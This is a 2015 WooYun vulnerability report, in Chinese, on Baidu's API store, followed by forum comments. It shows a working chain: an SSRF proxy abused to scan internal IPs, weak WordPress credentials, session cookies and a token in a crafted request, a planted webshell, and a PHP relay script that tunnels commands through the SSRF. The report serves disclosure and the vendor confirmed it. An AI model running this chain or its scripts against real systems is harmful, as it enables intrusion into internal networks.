百度某个从SSRF到内网WebShell

编号99070
Urlhttp://www.wooyun.org/bug.php?action=view&id=99070
漏洞状态厂商已经确认
漏洞标题百度某个从SSRF到内网WebShell
漏洞类型设计缺陷/逻辑错误
厂商百度
白帽子Jannock
提交日期2015-03-02 15:56:00
公开日期2015-04-16 15:58:00
修复时间(not set)
确认时间2015-03-02 00:00:00
Confirm Spend0
漏洞标签设计缺陷/边界绕过
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank18
漏洞简介
所有故事从一个简单的SSRF说起。。。
漏洞细节

1、某次发现一个SSRF
http://apistore.baidu.com/astore/toolshttpproxy

1.png


功能十分全,包括get post 什么的。
2、内网探测
首先从dns爆破中获取部分内网ip,然后写个脚本探测
探测脚本

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import json
import traceback
import urllib

reload(sys)
sys.setdefaultencoding('utf8')
headers = {'cookie':'自己加上','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'}
for i in range(1, 255):
try:
print i
s = "172.22.1.%s" % (i)
conn = httplib.HTTPConnection('apistore.baidu.com')
conn.request(method='POST',
url="/astore/toolshttpproxysend",
body='reqMethod=GET&reqUrl=http%3A%2F%2F' + s +'&token=token',
headers=headers)
msg = conn.getresponse().read()
msg = json.loads(msg)
if msg["retMsg"] == "success":
print s
f = open('rrrr.txt','ab+')
f.write(s + '\r\n')
f.write( urllib.unquote(msg["retData"]["responseHeader"]).replace('<br/>','\r\n') + '\r\n')
f.write( urllib.unquote(msg["retData"]["responseBody"]).replace('<br/>','\r\n') + '\r\n\r\n')
f.close()
conn.close()
except:
print traceback.format_exc()
pass


探测结果:

3.png


4.png


其中有个 wordpress 程序引起我注意
http://172.22.1.19 (cdm.baidu.com)
3、wordpress 弱口令探测

5.png


弱口令结果还是比较多
wanglu admin
拿了一个测试下
先登陆 POST,再根据获取回来的cookie,加入到请求头中。
http://apistore.baidu.com/astore/toolshttpproxysend?
reqMethod=POST&reqUrl=http://172.22.1.19/wp-admin/&token=ae6e554399dd045278f4128312f13853&&reqHeaders[0][key]=Cookie&reqHeaders[0][value]=wc_session_cookie_534fc29aac95152772c55e78ddffb136=8fpvzWnjz76BNkvv4GJMrx1gvfVihDFS%7C%7C1425449844%7C%7C1425446244%7C%7C4bcc9f20e60d5905d3aaf9eda0c5fe28;woocommerce_items_in_cart=0;woocommerce_cart_hash=0;wordpress_test_cookie=WP+Cookie+check;wordpress_534fc29aac95152772c55e78ddffb136=wanglu%7C1425449844%7Cba1f72d7cd9660584197a34afaf1caf8;wordpress_534fc29aac95152772c55e78ddffb136=wanglu%7C1425449844%7Cba1f72d7cd9660584197a34afaf1caf8;wordpress_logged_in_534fc29aac95152772c55e78ddffb136=wanglu%7C1425449844%7C04c26a78d42c83cb884f52071d5c28c8;
成功查询到后台登陆成功后的 html。
后面就是简单的wordpress 拿shell,写模板。
这个过程比较麻烦,不过折腾下就可以成功。
4、连接webshell
为了方便操作,本地写了一个php的转发代理

<?php 
$webshell="http://apistore.baidu.com/astore/toolshttpproxysend";
$data['reqMethod']='POST';
$data['reqUrl']='http://172.22.1.19/wp-content/themes/salient-new/404.php';
$data['token']='ae6e554399dd045278f4128312f13853';
$i = 0;
foreach($_POST as $key => $value)
{
$data["reqBodyParams[$i][key]"]=$key;
$data["reqBodyParams[$i][value]"]= urlencode( $value );
$i++;
}
$data = http_build_query($data);
$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\nCookie: cookie\r\nX-Requested-With: XMLHttpRequest\r\nUser-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);

$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context);
$data = json_decode($html,true);
echo urldecode($data["retData"]["responseBody"]);
?>


过程完成,获取权限。

6.png


POC

7.png


8.png

修复方案

内网也要注意安全

状态信息 2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-16: 细节向公众公开
厂商回复感谢提交,已通知业务部门处理
回应信息危害等级:高漏洞Rank:18 确认时间:2015-03-02 21:23
Showing 1-72 of 72 items.
评论内容评论人点赞数评论时间

.

0x1202015-06-28 13:52:00

mark下,楼上厂商有一天一个也跑不掉

IOT02015-06-23 01:51:00

一哥 多关注关注我 @Jannock 么么哒

途牛旅游网02015-06-08 09:28:00

受益匪浅 叼

小夜02015-06-05 14:05:00

吊炸天

BeenQuiver02015-04-30 09:57:00

产商集体卖萌了。。

noob02015-04-17 10:10:00

一哥快满足楼上的厂商们

屠龙宝刀点击就送02015-04-16 20:47:00

一哥,请收下我的膝盖

Mark02015-04-16 20:42:00

一哥快上 楼上厂商求撸

Mr.R02015-04-16 19:56:00

=。=一哥这么赤果果用菜刀链接,公然挑战百度的入侵检测嘛。

梧桐雨02015-04-16 17:36:00

z学习了

温柔的逍遥02015-04-15 13:02:00

nice

海绵宝宝02015-04-13 15:19:00

xxxxxxxxx

sql小神02015-04-13 14:57:00

找到一个点;想到一个好的想法 然后实现了。 Good这才是真正的安全研究者

_Evil02015-04-10 00:26:00

我去,我开始以为是用struct2命令执行拿shell的,没想到直接搞WordPress,膜拜

Mr .LZH02015-04-04 23:50:00

典型案例

qiaoy02015-04-02 16:30:00

屌屌屌!

qhwlpg02015-04-02 08:12:00

牛牛牛!

Ztz02015-04-01 22:48:00

提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞 ( 可以等待进一步公开或者支付 9 个乌云币提前查看 )

白开水02015-03-23 09:10:00

。。。。。。

_Evil02015-03-09 22:17:00

厉害。

Mik3y_1402015-03-03 12:08:00

陆由乙02015-03-03 09:26:00

一哥,缺搞基的么???特么我要是女生我就跟定你了。

’‘Nome02015-03-02 21:59:00

牛X,学习中

bcwr02015-03-02 21:47:00

我擦 百度主站?

狂人02015-03-02 21:44:00

这个必须关注。

_Thorns02015-03-02 21:27:00

厂商都来卖萌么

Catsay02015-03-02 21:04:00

一哥快祭出大凶器,楼上的厂商一个都不放过,

蜉蝣02015-03-02 20:56:00

彦宏说过技术改变世界,百度改变技术。。

cold02015-03-02 20:24:00

求包养~

泳少02015-03-02 19:54:00

来看厂商

虾米02015-03-02 19:43:00

准备看看公开

明月影02015-03-02 19:19:00

恩,思路很好

ppt02015-03-02 19:11:00

话说2015刚开始,百度中枪多少次了啊

Taro02015-03-02 19:01:00

百度2015真是好开端啊

大亮02015-03-02 18:39:00

叼...围观

Catsay02015-03-02 18:15:00

@7天连锁酒店 正好到北京七天连锁住呢。。

岩少02015-03-02 18:07:00

围观

第四维度02015-03-02 18:06:00

厂商集体卖萌。。。

f4ckbaidu02015-03-02 17:56:00

来迟了 一哥 多关照关照小弟 @Jannock

苏州同程旅游网络科技有限公司02015-03-02 17:33:00

一哥,我是来看厂商的

红客十年02015-03-02 17:19:00

一群调皮的厂商。 @盛大网络 把大家都带坏了。

char02015-03-02 17:19:00

看来厂商求草啊 一哥能不能满足他们呢?

scanf02015-03-02 17:15:00

屌屌的

Coody02015-03-02 17:14:00

这个和我以前的思路一模一样。

黑吃黑02015-03-02 17:09:00

NB!

秋风02015-03-02 17:07:00

@快钱 @7天连锁酒店 @途牛旅游网 @中兴通讯股份有限公司 @盛大网络 厂商是要脑那样

浅蓝02015-03-02 17:06:00

一哥把楼上一个个都先入库!

小胖子02015-03-02 17:03:00

楼上一大堆厂商求草,一个你射死他们

Mr .LZH02015-03-02 16:59:00

厂商回复亮了

bey0nd02015-03-02 16:56:00

一哥拿个小本本,一个个的记上了!哼

zzR02015-03-02 16:49:00

楼上公司红灯区小姐拉客即视感……

Stardustsky02015-03-02 16:48:00

一哥 多关注关注我 么么哒 @Jannock

快钱02015-03-02 16:46:00

一哥 有空也可以关注一下我们小公司,么么哒。

7天连锁酒店02015-03-02 16:43:00

一哥 多关注关注我 @Jannock

途牛旅游网02015-03-02 16:42:00

@中兴通讯股份有限公司 @盛大网络 — —。能严肃一点么。。。。 瞄...

zeracker02015-03-02 16:41:00

mark下

Vinc02015-03-02 16:40:00

一哥 多关注关注我 @Jannock

中兴通讯股份有限公司02015-03-02 16:39:00

一哥 多关注关注我 @Jannock

盛大网络02015-03-02 16:38:00

都是大神啊,求包养

Taro02015-03-02 16:32:00

牛逼

Mr .LZH02015-03-02 16:30:00

思路真好,虽然没看懂

luwikes02015-03-02 16:29:00

厉害。

zeracker02015-03-02 16:29:00

请收下我的裤带。

紫霞仙子02015-03-02 16:28:00

本地中转shell

浩天02015-03-02 16:18:00

我喜欢看故事 - -

无名02015-03-02 16:16:00

思路真好,看懂了

浩天02015-03-02 16:15:00

这么快就被雷劈了

浅蓝02015-03-02 16:13:00

碉堡了

greg.wu02015-03-02 16:10:00

一哥,请收下我的膝盖

孤独雪狼02015-03-02 16:09:00

好厉害的样子呢

大胖子02015-03-02 16:01:00

刚刚有个人人网ssrf内网sql注入的,一哥来了就ssrf直接shell百度,哈哈

浩天02015-03-02 15:58:00